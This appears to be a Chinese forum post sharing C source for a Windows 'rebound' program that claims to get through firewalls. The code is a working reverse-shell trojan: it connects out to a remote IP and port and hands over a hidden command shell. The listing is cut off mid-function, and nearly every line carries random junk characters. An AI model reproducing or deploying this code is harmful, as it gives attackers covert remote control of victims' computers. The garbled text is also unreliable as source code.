这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 LipxAE?O
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/* ============================== >XnO&hW
Rebound port in Windows NT Um\0i;7 ~4
By wind,2006/7 ;ctU&`
===============================*/ ;cLUnsB\
#include 6__K#r
#include i.M2E$b|
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#pragma comment(lib,"wsock32.lib") akCIa'>t
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void OutputShell(); ($SLb6
SOCKET sClient; 7E~4)k0<
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?:/|d\,7@
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void main(int argc,char **argv) CV3DMA
{ lhxdx
WSADATA stWsaData; S(w\Z C
int nRet; !W~<q{VTs
SOCKADDR_IN stSaiClient,stSaiServer; sOz sY7z3Z
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if(argc != 3) ) Fx?%
{ 3e
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printf("Useage:\n\rRebound DestIP DestPort\n"); ZF'HM@cfo
return; 3Oiy)f@{TF
} 11{y}J
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WSAStartup(MAKEWORD(2,2),&stWsaData); )*D'csGc
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |!}wF}iLc)
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stSaiClient.sin_family = AF_INET; F~R7~ZE
stSaiClient.sin_port = htons(0); +$,dwyI2t
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >|nt2
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) jI0]LD1k
{ Ag6uR(uI
printf("Bind Socket Failed!\n"); M BVOfEMj
return; |7c`(.
} nh0&'hA
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stSaiServer.sin_family = AF_INET; T VeJ6
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); q% EC
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u*2JUI*
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Y`^o7'Z2^P
{ &O*ENpF
printf("Connect Error!"); #8UseK
return; u]bz42]
} C0(sAF@
OutputShell(); (}jL_E
} 9I kUZW
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void OutputShell() K(3&27sGN
{ Y|RdzCM
char szBuff[1024]; |X 3">U +-
SECURITY_ATTRIBUTES stSecurityAttributes; ERC<Dd0
OSVERSIONINFO stOsversionInfo; lwJip IO
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8K^f:)Qw
STARTUPINFO stStartupInfo; |_nC6;
char *szShell; +nQ!4
PROCESS_INFORMATION stProcessInformation; (}"S)#C
unsigned long lBytesRead; n1 v,#GE
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); X" \}sl5
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); M=[th
stSecurityAttributes.lpSecurityDescriptor = 0; I.a0[E/,
stSecurityAttributes.bInheritHandle = TRUE; RJPcn)@l
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >[Rz
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); VDa|U9N
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (I~\,[
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ! TDD^
stStartupInfo.wShowWindow = SW_HIDE; KZ
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stStartupInfo.hStdInput = hReadPipe; 85hQk+Bu4
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 0x71%=4H^x
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GetVersionEx(&stOsversionInfo); "5|\X<f
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switch(stOsversionInfo.dwPlatformId) "kr,x3
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case 1: Mz\yPT;Y
szShell = "command.com"; )!a$#"'
break; ^aptLJF
default: D 'n7&